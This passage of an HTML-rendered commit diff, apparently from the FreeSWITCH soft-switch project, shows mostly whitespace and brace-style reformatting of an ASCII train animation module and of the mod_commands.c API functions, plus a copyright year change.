+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}
+        };
</ins><span class="cx">
</span><del>- static char *coal[LOGOHIGHT + 1]
-                = {LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN};
</del><ins>+        static char *coal[LOGOHIGHT + 1]
+        = { LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN };
</ins><span class="cx">
</span><del>- static char *car[LOGOHIGHT + 1]
-                = {LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN};
</del><ins>+        static char *car[LOGOHIGHT + 1]
+        = { LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN };
</ins><span class="cx">
</span><del>- int i, y, py1 = 0, py2 = 0, py3 = 0;
-
- if (x < - LOGOLENGTH) return ERR;
- y = LINES / 2 - 3;
</del><ins>+        int i, y, py1 = 0, py2 = 0, py3 = 0;
</ins><span class="cx">
</span><del>- if (FLY == 1) {
</del><ins>+        if (x < -LOGOLENGTH)
+                return ERR;
+        y = LINES / 2 - 3;
+
+        if (FLY == 1) {
</ins><span class="cx">                 y = (x / 6) + LINES - (COLS / 6) - LOGOHIGHT;
</span><del>-                py1 = 2; py2 = 4; py3 = 6;
- }
</del><ins>+                py1 = 2;
+                py2 = 4;
+                py3 = 6;
+        }
</ins><span class="cx">
</span><del>- for (i = 0; i <= LOGOHIGHT; ++i) {
</del><ins>+        for (i = 0; i <= LOGOHIGHT; ++i) {
</ins><span class="cx">                 my_mvaddstr(y + i, x, sl[(LOGOLENGTH + x) / 3 % LOGOPATTERNS][i]);
</span><span class="cx">                 my_mvaddstr(y + i + py1, x + 21, coal[i]);
</span><span class="cx">                 my_mvaddstr(y + i + py2, x + 42, car[i]);
</span><span class="cx">                 my_mvaddstr(y + i + py3, x + 63, car[i]);
</span><del>- }
- if (ACCIDENT == 1) {
</del><ins>+        }
+        if (ACCIDENT == 1) {
</ins><span class="cx">                 add_man(y + 1, x + 14);
</span><del>-                add_man(y + 1 + py2, x + 45); add_man(y + 1 + py2, x + 53);
-                add_man(y + 1 + py3, x + 66); add_man(y + 1 + py3, x + 74);
- }
- add_smoke(y - 1, x + LOGOFUNNEL);
- return OK;
</del><ins>+                add_man(y + 1 + py2, x + 45);
+                add_man(y + 1 + py2, x + 53);
+                add_man(y + 1 + py3, x + 66);
+                add_man(y + 1 + py3, x + 74);
+        }
+        add_smoke(y - 1, x + LOGOFUNNEL);
+        return OK;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int loops = 0;
</span><span class="cx">
</span><span class="cx"> int add_D51(int x)
</span><span class="cx"> {
</span><del>- static char *d51[D51PATTERNS][D51HIGHT + 1]
-                = {{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL11, D51WHL12, D51WHL13, D51DEL},
-                 {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL21, D51WHL22, D51WHL23, D51DEL},
-                 {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL31, D51WHL32, D51WHL33, D51DEL},
-                 {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL41, D51WHL42, D51WHL43, D51DEL},
-                 {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL51, D51WHL52, D51WHL53, D51DEL},
-                 {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL61, D51WHL62, D51WHL63, D51DEL}};
- static char *coal[D51HIGHT + 1]
-                = {COAL01, COAL02, COAL03, COAL04, COAL05,
-                 COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
</del><ins>+        static char *d51[D51PATTERNS][D51HIGHT + 1]
+                = { {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+                         D51WHL11, D51WHL12, D51WHL13, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL21, D51WHL22, D51WHL23, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL31, D51WHL32, D51WHL33, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL41, D51WHL42, D51WHL43, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL51, D51WHL52, D51WHL53, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL61, D51WHL62, D51WHL63, D51DEL}
+        };
+        static char *coal[D51HIGHT + 1]
+                = { COAL01, COAL02, COAL03, COAL04, COAL05,
+                COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
+        };
</ins><span class="cx">
</span><del>- static char *acoal[D51HIGHT + 1]
-                = {COAL01, COAL02, COAL03, COAL04, COAL5A,
-                 COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
</del><ins>+        static char *acoal[D51HIGHT + 1]
+                = { COAL01, COAL02, COAL03, COAL04, COAL5A,
+                COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
+        };
</ins><span class="cx">
</span><del>- int y, i, dy = 0;
</del><ins>+        int y, i, dy = 0;
</ins><span class="cx">
</span><del>- if (x < - D51LENGTH) return ERR;
- y = LINES / 2 - 5;
</del><ins>+        if (x < -D51LENGTH)
+                return ERR;
+        y = LINES / 2 - 5;
</ins><span class="cx">
</span><del>- if (FLY == 1) {
</del><ins>+        if (FLY == 1) {
</ins><span class="cx">                 y = (x / 7) + LINES - (COLS / 7) - D51HIGHT;
</span><span class="cx">                 dy = 1;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- for (i = 0; i <= D51HIGHT; ++i) {
</del><ins>+        for (i = 0; i <= D51HIGHT; ++i) {
</ins><span class="cx">                 my_mvaddstr(y + i, x, d51[(D51LENGTH + x) % D51PATTERNS][i]);
</span><span class="cx">                 my_mvaddstr(y + i + dy, x + 53, loops > 60 ? coal[i] : acoal[i]);
</span><span class="cx">                 loops++;
</span><del>-                if (loops == 500) loops = -100;
- }
- if (ACCIDENT == 1) {
</del><ins>+                if (loops == 500)
+                        loops = -100;
+        }
+        if (ACCIDENT == 1) {
</ins><span class="cx">                 add_man(y + 2, x + 43);
</span><span class="cx">                 add_man(y + 2, x + 47);
</span><del>- }
- add_smoke(y - 1, x + D51FUNNEL);
- return OK;
</del><ins>+        }
+        add_smoke(y - 1, x + D51FUNNEL);
+        return OK;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> int add_man(int y, int x)
</span><span class="cx"> {
</span><del>- static char *man[2][2] = {{"", "(O)"}, {"Help!", "\\O/"}};
- int i;
</del><ins>+        static char *man[2][2] = { {"", "(O)"}, {"Help!", "\\O/"} };
+        int i;
</ins><span class="cx">
</span><del>- for (i = 0; i < 2; ++i) {
</del><ins>+        for (i = 0; i < 2; ++i) {
</ins><span class="cx">                 my_mvaddstr(y + i, x, man[(LOGOLENGTH + x) / 12 % 2][i]);
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -440,45 +463,51 @@
</span><span class="cx"> int add_smoke(int y, int x)
</span><span class="cx"> #define SMOKEPTNS        16
</span><span class="cx"> {
</span><del>- static struct smokes {
</del><ins>+        static struct smokes {
</ins><span class="cx">                 int y, x;
</span><span class="cx">                 int ptrn, kind;
</span><del>- } S[1000];
- static int sum = 0;
- static char *Smoke[2][SMOKEPTNS]
-                = {{"( )", "( )", "( )", "( )", "( )",
-                        "( )" , "( )" , "( )" , "()" , "()" ,
-                        "O" , "O" , "O" , "O" , "O" ,
-                        " " },
-                 {"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
-                        "(@@)" , "(@)" , "(@)" , "@@" , "@@" ,
-                        "@" , "@" , "@" , "@" , "@" ,
-                        " " }};
- static char *Eraser[SMOKEPTNS]
-                = {" ", " ", " ", " ", " ",
-                        " " , " " , " " , " " , " " ,
-                        " " , " " , " " , " " , " " ,
-                        " " };
- static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
-                                                                 0, 0, 0, 0, 0, 0 };
- static int dx[SMOKEPTNS] = {-2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
-                                                                2, 2, 2, 3, 3, 3 };
- int i;
</del><ins>+        } S[1000];
+        static int sum = 0;
+        static char *Smoke[2][SMOKEPTNS]
+                = { {"( )", "( )", "( )", "( )", "( )",
+                         "( )", "( )", "( )", "()", "()",
+                         "O", "O", "O", "O", "O",
+                         " "},
+        {"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
+         "(@@)", "(@)", "(@)", "@@", "@@",
+         "@", "@", "@", "@", "@",
+         " "}
+        };
+        static char *Eraser[SMOKEPTNS]
+                = { " ", " ", " ", " ", " ",
+                " ", " ", " ", " ", " ",
+                " ", " ", " ", " ", " ",
+                " "
+        };
+        static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
+                0, 0, 0, 0, 0, 0
+        };
+        static int dx[SMOKEPTNS] = { -2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
+                2, 2, 2, 3, 3, 3
+        };
+        int i;
</ins><span class="cx">
</span><del>- if (x % 4 == 0) {
</del><ins>+        if (x % 4 == 0) {
</ins><span class="cx">                 for (i = 0; i < sum; ++i) {
</span><span class="cx">                         my_mvaddstr(S[i].y, S[i].x, Eraser[S[i].ptrn]);
</span><del>-                        S[i].y -= dy[S[i].ptrn];
-                        S[i].x += dx[S[i].ptrn];
</del><ins>+                        S[i].y -= dy[S[i].ptrn];
+                        S[i].x += dx[S[i].ptrn];
</ins><span class="cx">                         S[i].ptrn += (S[i].ptrn < SMOKEPTNS - 1) ? 1 : 0;
</span><span class="cx">                         my_mvaddstr(S[i].y, S[i].x, Smoke[S[i].kind][S[i].ptrn]);
</span><span class="cx">                 }
</span><span class="cx">                 my_mvaddstr(y, x, Smoke[sum % 2][0]);
</span><del>-                S[sum].y = y; S[sum].x = x;
-                S[sum].ptrn = 0; S[sum].kind = sum % 2;
-                sum ++;
- }
-        
</del><ins>+                S[sum].y = y;
+                S[sum].x = x;
+                S[sum].ptrn = 0;
+                S[sum].kind = sum % 2;
+                sum++;
+        }
+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_commandsmod_commandsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -53,7 +53,7 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(hostname_api_function)
</span><span class="cx"> {
</span><del>-        char hostname[256]="";
</del><ins>+        char hostname[256] = "";
</ins><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><span class="cx">         stream->write_function(stream, "%s", hostname);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -77,14 +77,15 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_STANDARD_API(db_cache_function) {
</del><ins>+SWITCH_STANDARD_API(db_cache_function)
+{
</ins><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL, *argv[2];
</span><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         mydata = strdup(cmd);
</span><span class="cx">         switch_assert(mydata);
</span><span class="cx">
</span><span class="lines">@@ -99,12 +100,12 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
-error:
-                stream->write_function(stream, "%s", "parameter missing\n");
-ok:
-                switch_safe_free(mydata);
-                return SWITCH_STATUS_SUCCESS;
</del><ins>+
+ error:
+        stream->write_function(stream, "%s", "parameter missing\n");
+ ok:
+        switch_safe_free(mydata);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(host_lookup_function)
</span><span class="lines">@@ -136,7 +137,7 @@
</span><span class="cx">         if (!cmd) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_nat_is_initialized()) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "nat_map API called while NAT not initialized\n");
</span><span class="cx">                 goto error;
</span><span class="lines">@@ -166,7 +167,7 @@
</span><span class="cx">                 switch_safe_free(tmp);
</span><span class="cx">                 goto ok;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 3) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="lines">@@ -176,18 +177,18 @@
</span><span class="cx">         } else if (argv[2] && switch_stristr("udp", argv[2])) {
</span><span class="cx">                 proto = SWITCH_NAT_UDP;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argv[3] && switch_stristr("sticky", argv[3])) {
</span><span class="cx">                 sticky = SWITCH_TRUE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (argv[0] && switch_stristr("add", argv[0])) {
</span><del>-                if (switch_nat_add_mapping((switch_port_t)atoi(argv[1]), proto, &external_port, sticky) == SWITCH_STATUS_SUCCESS) {
-                        stream->write_function(stream, "true"); /* still return true */
</del><ins>+                if (switch_nat_add_mapping((switch_port_t) atoi(argv[1]), proto, &external_port, sticky) == SWITCH_STATUS_SUCCESS) {
+                        stream->write_function(stream, "true");        /* still return true */
</ins><span class="cx">                         goto ok;
</span><span class="cx">                 }
</span><span class="cx">         } else if (argv[0] && switch_stristr("del", argv[0])) {
</span><del>-                if (switch_nat_del_mapping((switch_port_t)atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (switch_nat_del_mapping((switch_port_t) atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         stream->write_function(stream, "true");
</span><span class="cx">                         goto ok;
</span><span class="cx">                 }
</span><span class="lines">@@ -213,7 +214,7 @@
</span><span class="cx">         int diff;
</span><span class="cx">         int max = 10, a = 0;
</span><span class="cx">         char *p;
</span><del>-        if (zstr(cmd)){
</del><ins>+        if (zstr(cmd)) {
</ins><span class="cx">                 stream->write_function(stream, "parameter missing\n");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -225,7 +226,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((p = strchr(cmd, ' '))) {
</span><del>-                if ((a = atoi(p+1)) > 0) {
</del><ins>+                if ((a = atoi(p + 1)) > 0) {
</ins><span class="cx">                         max = a;
</span><span class="cx">                         if (max > 100) {
</span><span class="cx">                                 max = 100;
</span><span class="lines">@@ -262,7 +263,7 @@
</span><span class="cx">         const char *timer_name = "soft";
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         char *mycmd = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&pool);
</span><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="lines">@@ -272,7 +273,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         argc = switch_split(mycmd, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc > 0) {
</span><span class="cx">                 mss = atoi(argv[0]);
</span><span class="cx">         }
</span><span class="lines">@@ -292,14 +293,12 @@
</span><span class="cx">                 stream->write_function(stream, "parameter missing: %s\n", TIMER_TEST_SYNTAX);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
-        if (switch_core_timer_init(&timer,
-                                                         timer_name, mss,
-                                                         1, pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (switch_core_timer_init(&timer, timer_name, mss, 1, pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 stream->write_function(stream, "Timer Error!\n");
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">         start = switch_time_now();
</span><span class="cx">         for (x = 1; x <= max; x++) {
</span><span class="cx">                 then = switch_time_now();
</span><span class="lines">@@ -311,16 +310,17 @@
</span><span class="cx">                 total += diff;
</span><span class="cx">         }
</span><span class="cx">         end = switch_time_now();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_yield(250000);
</span><span class="cx">
</span><del>-        stream->write_function(stream, "Avg: %0.3fms Total Time: %0.3fms\n", (float)((float)(total / (x > 1 ? x - 1 : 1)) / 1000), (float)((float)(end - start)/1000));
</del><ins>+        stream->write_function(stream, "Avg: %0.3fms Total Time: %0.3fms\n", (float) ((float) (total / (x > 1 ? x - 1 : 1)) / 1000),
+                                                 (float) ((float) (end - start) / 1000));
</ins><span class="cx">
</span><del>- end:
-        
</del><ins>+ end:
+
</ins><span class="cx">         switch_core_destroy_memory_pool(&pool);
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -348,7 +348,7 @@
</span><span class="cx">         if ((flags = strchr(group_name, '+'))) {
</span><span class="cx">                 *flags++ = '\0';
</span><span class="cx">                 for (fp = flags; fp && *fp; fp++) {
</span><del>-                        switch(*fp) {
</del><ins>+                        switch (*fp) {
</ins><span class="cx">                         case 'F':
</span><span class="cx">                                 call_delim = "|";
</span><span class="cx">                                 break;
</span><span class="lines">@@ -363,15 +363,15 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         domain = strchr(group_name, '@');
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (domain) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="cx">                 domain = switch_core_get_variable("domain");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(domain)) {
</span><span class="cx">                 switch_xml_t xml, x_domain, x_group;
</span><span class="cx">                 switch_event_t *params;
</span><span class="lines">@@ -383,14 +383,14 @@
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "group", group_name);
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "domain", domain);
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", "group_call");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_xml_locate_group(group_name, domain, &xml, &x_domain, &x_group, params) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_xml_t x_user, x_users, x_param, x_params, my_x_user;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((x_users = switch_xml_child(x_group, "users"))) {
</span><span class="cx">                                 ok++;
</span><del>-                                
-                                for(x_user = switch_xml_child(x_users, "user"); x_user; x_user = x_user->next) {
</del><ins>+
+                                for (x_user = switch_xml_child(x_users, "user"); x_user; x_user = x_user->next) {
</ins><span class="cx">                                         const char *id = switch_xml_attr_soft(x_user, "id");
</span><span class="cx">                                         const char *x_user_type = switch_xml_attr_soft(x_user, "type");
</span><span class="cx">                                         const char *dest = NULL;
</span><span class="lines">@@ -399,17 +399,16 @@
</span><span class="cx">
</span><span class="cx">                                         my_x_user = x_user;
</span><span class="cx">
</span><del>-                                        if (!strcmp(x_user_type,"pointer")) {
</del><ins>+                                        if (!strcmp(x_user_type, "pointer")) {
</ins><span class="cx">                                                 if (switch_xml_locate_user("id", id, domain, NULL,
</span><span class="cx">                                                                                                  &xml_for_pointer, &x_domain_for_pointer,
</span><del>-                                                                                                 &x_user_for_pointer, &x_group_for_pointer,
-                                                                                                 params) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                                 &x_user_for_pointer, &x_group_for_pointer, params) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", id, domain);
</span><span class="cx">                                                         goto done_x_user;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 my_x_user = x_user_for_pointer;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((x_params = switch_xml_child(x_domain, "params"))) {
</span><span class="cx">                                                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                                                         const char *var = switch_xml_attr(x_param, "name");
</span><span class="lines">@@ -446,7 +445,7 @@
</span><span class="cx">                                                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                                                         const char *var = switch_xml_attr(x_param, "name");
</span><span class="cx">                                                         const char *val = switch_xml_attr(x_param, "value");
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(var, "group-dial-string")) {
</span><span class="cx">                                                                 dest = val;
</span><span class="cx">                                                                 break;
</span><span class="lines">@@ -457,7 +456,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (dest) {
</span><span class="cx">                                                 if (channel) {
</span><span class="cx">                                                         switch_channel_set_variable(channel, "dialed_group", group_name);
</span><span class="lines">@@ -476,7 +475,7 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 d_dest = switch_mprintf("user/%s@%s", id, domain);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (d_dest) {
</span><span class="cx">                                                 dstream.write_function(&dstream, "%s%s", d_dest, call_delim);
</span><span class="cx">
</span><span class="lines">@@ -485,9 +484,9 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                 done_x_user:
</del><ins>+                                 done_x_user:
</ins><span class="cx">                                         if (xml_for_pointer) {
</span><del>-                                         switch_xml_free(xml_for_pointer);
</del><ins>+                                                switch_xml_free(xml_for_pointer);
</ins><span class="cx">                                                 xml_for_pointer = NULL;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="lines">@@ -514,17 +513,17 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ok = 0;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">                 switch_event_destroy(&params);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(group_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ok) {
</span><span class="cx">                 stream->write_function(stream, "error/NO_ROUTE_DESTINATION");
</span><span class="cx">         }
</span><span class="lines">@@ -542,7 +541,7 @@
</span><span class="cx">         switch_event_t *params = NULL;
</span><span class="cx">         const char *rval = "false";
</span><span class="cx">         char *group;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd) || !(mydata = strdup(cmd))) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -574,9 +573,9 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream->write_function(stream, "%s", rval);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_event_destroy(&params);
</span><span class="lines">@@ -612,7 +611,7 @@
</span><span class="cx">                         domain = "cluecon.com";
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "user", user);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "domain", domain);
</span><span class="lines">@@ -642,7 +641,7 @@
</span><span class="cx">
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((x_params = switch_xml_child(x_domain, container))) {
</span><span class="cx">                         for (x_param = switch_xml_child(x_params, elem); x_param; x_param = x_param->next) {
</span><span class="cx">                                 const char *var = switch_xml_attr(x_param, "name");
</span><span class="lines">@@ -733,9 +732,9 @@
</span><span class="cx">                         free(xmlstr);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><del>-                        
</del><ins>+
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -753,7 +752,7 @@
</span><span class="cx">                 stream->write_function(stream, "%s", digest);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(url_decode_function)
</span><span class="lines">@@ -766,11 +765,11 @@
</span><span class="cx">                 switch_url_decode(data);
</span><span class="cx">                 reply = data;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream->write_function(stream, "%s", reply);
</span><span class="cx">
</span><span class="cx">         switch_safe_free(data);
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(echo_function)
</span><span class="lines">@@ -782,7 +781,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(stun_function)
</span><span class="cx"> {
</span><span class="cx">         char *stun_ip = NULL;
</span><del>-        switch_port_t stun_port = (switch_port_t)SWITCH_STUN_DEFAULT_PORT;
</del><ins>+        switch_port_t stun_port = (switch_port_t) SWITCH_STUN_DEFAULT_PORT;
</ins><span class="cx">         char *p;
</span><span class="cx">         char ip_buf[256] = "";
</span><span class="cx">         char *ip = NULL;
</span><span class="lines">@@ -849,7 +848,7 @@
</span><span class="cx">         const char *p;
</span><span class="cx">         switch_core_session_t *xsession;
</span><span class="cx">         char uuid[80] = "";
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream->write_function(stream, "-ERR, no input\n");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -864,7 +863,7 @@
</span><span class="cx">                         switch_copy_string(uuid, p, mycmd - p);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(mycmd)) {
</span><span class="cx">                 stream->write_function(stream, "-ERR, no input\n");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -905,7 +904,7 @@
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 cmd = " ";
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strstr(cmd, "c="))) {
</span><span class="cx">                 p += 2;
</span><span class="cx">                 c = atoi(p);
</span><span class="lines">@@ -929,7 +928,7 @@
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 cmd = " ";
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strstr(cmd, "c="))) {
</span><span class="cx">                 p += 2;
</span><span class="cx">                 c = atoi(p);
</span><span class="lines">@@ -940,13 +939,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_console_complete(cmd, cursor, NULL, NULL, xml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sxml = switch_xml_toxml(xml, SWITCH_TRUE);
</span><span class="cx">         stream->write_function(stream, "%s", sxml);
</span><span class="cx">         free(sxml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -961,20 +960,20 @@
</span><span class="cx">                 stream->write_function(stream, "%s", "");
